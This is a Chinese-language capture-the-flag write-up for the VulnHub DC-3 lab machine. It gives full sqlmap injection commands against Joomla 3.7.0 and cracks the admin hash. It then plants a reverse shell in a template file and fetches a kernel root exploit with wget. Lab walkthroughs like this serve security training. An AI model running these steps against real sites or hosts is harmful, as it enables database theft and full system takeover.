Vulhub-DC-3靶机通关攻略
下载地址:
https://www.vulnhub.com/entry/dc-32,312/
nmap扫描IP地址
nmap 192.168.112.0/24
访问192.168.112.130:80端口
首页显示这次只有一个flag,但是需要我们是root用户权限
This time, there is only one flag, one entry point and no clues.
To get the flag, you'll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge. :-)
这次只有一面旗帜、一个入口,没有任何线索。
要获得旗帜,您显然必须获得根特权。
你如何成为根取决于你--显然,也取决于系统。
祝你好运--我希望你喜欢这个小挑战。 :-)
扫描目录
dirsearch -u http://192.168.112.130
存在一个administrator后台,访问一下
网站为Joomla
使用msf进行查看搜索Joomla脚本
使用Joomla_scanner脚本扫一下
版本为3.7.0
查找一下这个版本的脚本
看一下脚本信息 ,发现存在SQL注入
直接使用这个脚本
找不出SQL注入
报错:No logged-in Administrator or Super User user found!
使用searchsploit搜索一下可以使用的脚本
查看一下php/webapps/42033.txt
找到了注入点,使用sqlmap进行测试找到了数据库
sqlmap -u "http://192.168.112.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
查询表名,找到了user表
sqlmap -u "http://192.168.112.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb --tables
查询字段名
sqlmap -u "http://192.168.112.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" --columns
查询字段信息
sqlmap -u "http://192.168.112.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" -C name,password,username --dump
密码是加密过的,没有加密函数只能爆破密码了.
使用john进行爆破,先写一个txt文件,将加密密码写入
再使用john进行爆破
得到密码
用户名:admin
密码:snoopy
成功登录到后台
根据joomla的特性,可以在模版中编辑模版文件,所以可以利用这一点进行编辑木马
来到文件部分,在error.php中写入反弹shell的语句并保存
在kali中进行监听
之后访问error.php文件
http://192.168.112.130/templates/protostar/error.php
成功监听,但是权限较低
接下来开始尝试提权
查找一下设置了suid的文件,并没有可以提权的命令
find / -perm -u=s -type f 2>/dev/null
查询一下版本信息
搜索一下相关的漏洞利用脚本
searchsploit ubuntu 16.04
这里选用一个 4.4.x 相对通用的提权方式
文件目录:/usr/share/exploitdb/exploits/linux/local/39772.txt
查看一下
文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的链接
exp地址地址为404
更换了一个
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
下载好后解压,拖到kali桌面即可需要将exploit.tar上传到目标主机,并解压运行
kali启动http服务,将exploit.tar文件复制到网站根目录
在目标主机中使用wget命令进行远程拉取
解压exploit.tar文件
进入解压出来的目录
并按照39772.txt
文件中的方式进行操作。
获得root权限
获得交互式shell
python -c "import pty; pty.spawn('/bin/bash');"
来到~目录下,找到flag